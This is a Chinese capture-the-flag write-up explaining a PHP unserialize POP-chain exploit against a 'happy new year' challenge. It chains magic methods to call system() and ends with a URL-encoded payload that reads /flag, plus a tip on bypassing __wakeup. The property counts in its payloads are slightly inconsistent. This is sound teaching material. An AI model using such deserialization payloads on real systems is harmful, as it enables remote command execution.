目录
前言
题目
解题过程
1.触发Happy的__call
2. 触发 Nevv 的 __invoke
3.触发 Year 的 __get
4. 触发 Rabbit 的 __set
5. 触发 Year 的 __destruct
完整构造链
1.完整 POP 链梳理
2.完整链条
3.完整构造POP链构造代码:
补充:关于 Happy::__wakeup 的说明
前言
闲来无事,练练题,结果被打下了,重新复习了下php反序化后成功拿下此题,那就写个解题思路吧,分享记录下awa。
题目
<?php highlight_file(__FILE__); error_reporting(0); class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } public function __call($name, $arguments) { call_user_func($this->cmd, $this->content); } public function __wakeup() { die("Wishes can be fulfilled"); } } class Nevv{ private $happiness; public function __invoke() { return $this->happiness->check(); } } class Rabbit{ private $aspiration; public function __set($name,$val){ return $this->aspiration->family; } } class Year{ public $key; public $rabbit; public function __construct($key) { $this->key = $key; } public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; } public function __get($name) { $name = $this->rabbit; $name(); } public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); }else{ print("Welcome 2023!!!!!"); } } } if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); }else { echo "过新年啊~过个吉祥年~"; } ?> 过新年啊~过个吉祥年~解题过程
1.触发Happy的__call
我们从后往前,直接看pop链的最后部分执行命令的函数,Happy类中存在call_user_func函数可调用接受两个参数来执行命令,第一个参数为函数名,第二个参数为执行的内容。
外层是__call魔术方法,所以我们需要先想办法触发__call从而利用call_user_func执行命令
__call的触发条件:当对一个对象调用 "当前作用域内不可访问的方法" 时触发,不可访问的方法可以是不存在的方法,此时我们需要去找到一个存在"调用方法"代码语句
发现Nevv类中存在return $this->happiness->check();语句,只需要将this->happiness也就是Nevv的happiness属性赋值为 Happy类即可调用Happy的check(),触发__call (Happy类中没有check()方法)
所以我们可以写出第一次构造的代码:
!!!注意:由于happiness为私有属性需要通过__construct方法来赋值
<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) //添加一个__construct方法便于赋值 { $this->happiness=$happiness; } } $happy = new Happy("system","ls"); //传入函数名和内容 $nevv = new Nevv($happy); // 赋值 echo serialize($nevv); //输出检验运行结果:O:4:"Nevv":1:{s:15:"\0Nevv\0happiness";O:5:"Happy":2:{s:10:"\0Happy\0cmd";s:6:"system";s:14:"\0Happy\0content";s:2:"ls";}}
2. 触发 Nevv 的 __invoke
public function __invoke() { return $this->happiness->check(); }__invoke的触发条件:当把一个对象当作函数调用时触发,例如$obj()。
于是我们需要找到一个地方,把Nevv对象当作函数调用。继续往前找,发现Year类中存在:
public function __get($name) { $name = $this->rabbit; $name(); }这里把$this->rabbit赋值给$name,然后$name()把它当函数调用。所以只需要让Year的rabbit属性为Nevv对象,就可以触发Nevv::__invoke()。
构造代码:
<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year = new Year("", $nevv); // 让 Year 的 rabbit 属性为 Nevv 对象 echo serialize($year); // 输出检验3.触发 Year 的 __get
__get的触发条件:当访问一个对象中不存在或不可访问的属性时触发。
我们需要找到一个地方,去访问Year对象中不存在的属性。继续往前找,发现Rabbit类中:
public function __set($name,$val){ return $this->aspiration->family; }这里访问了 $this->aspiration->family。如果 aspiration 是一个 Year 对象,而 Year 中没有 family 属性(确实没有),就会触发 Year::__get()。
构造代码:
<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this->aspiration = $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) //增加一个参数,便于构造 { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year2 = new Year("", $nevv); $rabbit = new Rabbit($year2); // 让 Rabbit 的 aspiration 属性为 Year 对象 echo serialize($rabbit); // 输出检验到这里,Year::__get()的构造已经就绪。但要让它真正被触发,还需要Rabbit::__set()去访问$this->aspiration->family。所以继续往前找__set的触发点。
4. 触发 Rabbit 的 __set
__set的触发条件:当给一个对象中不存在或不可访问的属性赋值时触发。
我们需要找到一个地方,去给Rabbit对象中不存在的属性赋值。继续往前找,发现Year类中:
public function firecrackers() { return $this->rabbit->wish = "allkill QAQ"; }这里给 $this->rabbit->wish 赋值。如果 rabbit 是一个 Rabbit 对象,而 Rabbit 中没有 wish 属性(确实没有),就会触发 Rabbit::__set()。
构造代码:
<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this->aspiration = $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year2 = new Year("", $nevv); $rabbit = new Rabbit($year2); $year1 = new Year("happy new year", $rabbit); // 让 Year 的 rabbit 属性为 Rabbit 对象 echo serialize($year1); // 输出检验到这里,Rabbit::__set()的构造已经就绪。但要让它真正被触发,还需要Year::firecrackers()去给$this->rabbit->wish赋值。所以继续往前找触发点。
5. 触发 Year 的 __destruct
__destruct的触发条件:当对象被销毁时触发(脚本结束、unset、或引用计数归零)。继续往前看,Year类中存在:
public function __destruct() { if ($this->key == "happy new year") { $this->firecrackers(); }else{ print("Welcome 2023!!!!!"); } }这里要求$this->key == "happy new year",然后调用firecrackers()。
所以最后直接序列化Year即可,至此,整条 POP 链构造完成。
完整构造链
1.完整 POP 链梳理
从入口
unserialize($_GET['pop'])开始,逐层触发:
Year::__destruct()— 脚本结束,对象销毁时触发
条件:
$this->key == "happy new year"调用:
$this->firecrackers()
Year::firecrackers()
执行:
$this->rabbit->wish = "allkill QAQ"若
rabbit是Rabbit对象且没有wish属性 → 触发Rabbit::__set()
Rabbit::__set()
执行:
return $this->aspiration->family若
aspiration是Year对象且没有family属性 → 触发Year::__get()
Year::__get()
执行:
$name = $this->rabbit; $name();若
rabbit是Nevv对象 → 把对象当函数调用 → 触发Nevv::__invoke()
Nevv::__invoke()
执行:
return $this->happiness->check()若
happiness是Happy对象且没有check()方法 → 触发Happy::__call()
Happy::__call()
执行:
call_user_func($this->cmd, $this->content)即
call_user_func("system", "命令")→执行命令
2.完整链条
unserialize($_GET['pop'])
→ Year::__destruct() // key == "happy new year"
→ Year::firecrackers() // $this->rabbit->wish = "..."
→ Rabbit::__set() // 访问 $this->aspiration->family
→ Year::__get() // $name = $this->rabbit; $name();
→ Nevv::__invoke() // $this->happiness->check()
→ Happy::__call() // call_user_func($this->cmd, $this->content)
→ system("ls")
3.完整构造POP链构造代码:
<?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this->happiness = $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this->aspiration = $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this->key = $key; $this->rabbit = $rabbit; } } $happy = new Happy("system", "ls"); $nevv = new Nevv($happy); $year2 = new Year("", $nevv); $rabbit = new Rabbit($year2); $year1 = new Year("happy new year", $rabbit); echo serialize($year1); // 输出最终检验输出结果:
O:4:"Year":2:{s:3:"key";s:14:"happy new year";s:6:"rabbit";O:6:"Rabbit":1:{s:18:"\0Rabbit\0aspiration";O:4:"Year":2:{s:3:"key";s:0:"";s:6:"rabbit";O:4:"Nevv":1:{s:15:"\0Nevv\0happiness";O:5:"Happy":3:{s:10:"\0Happy\0cmd";s:6:"system";s:14:"\0Happy\0content";s:2:"ls";}}}}}转为url编码:
O:4:"Year":2:{s:3:"key";s:14:"happy new year";s:6:"rabbit";O:6:"Rabbit":1:{s:18:"%00Rabbit%00aspiration";O:4:"Year":2:{s:3:"key";s:0:"";s:6:"rabbit";O:4:"Nevv":1:{s:15:"%00Nevv%00happiness";O:5:"Happy":3:{s:10:"%00Happy%00cmd";s:6:"system";s:14:"%00Happy%00content";s:2:"ls";}}}}}
获取flag
?pop=O:4:"Year":2:{s:3:"key";s:14:"happy new year";s:6:"rabbit";O:6:"Rabbit":1:{s:18:"%00Rabbit%00aspiration";O:4:"Year":2:{s:3:"key";s:0:"";s:6:"rabbit";O:4:"Nevv":1:{s:15:"%00Nevv%00happiness";O:5:"Happy":3:{s:10:"%00Happy%00cmd";s:6:"system";s:14:"%00Happy%00content";s:9:"cat%20/flag";}}}}}
补充:关于Happy::__wakeup的说明
在分析Happy类时可以看到,它定义了一个__wakeup魔术方法
public function __wakeup() { die("Wishes can be fulfilled"); }按照 PHP 反序列化的规则,当一个对象被unserialize()还原时,如果它的类中定义了__wakeup(),那么该方法会自动被调用。也就是说,只要Happy对象出现在序列化字符串里,理论上__wakeup就会执行die(),直接终止脚本。
但实际测试中,不绕过__wakeup也能成功执行命令。如需绕过只需将对应的对象属性数量修改为大于实际值即可。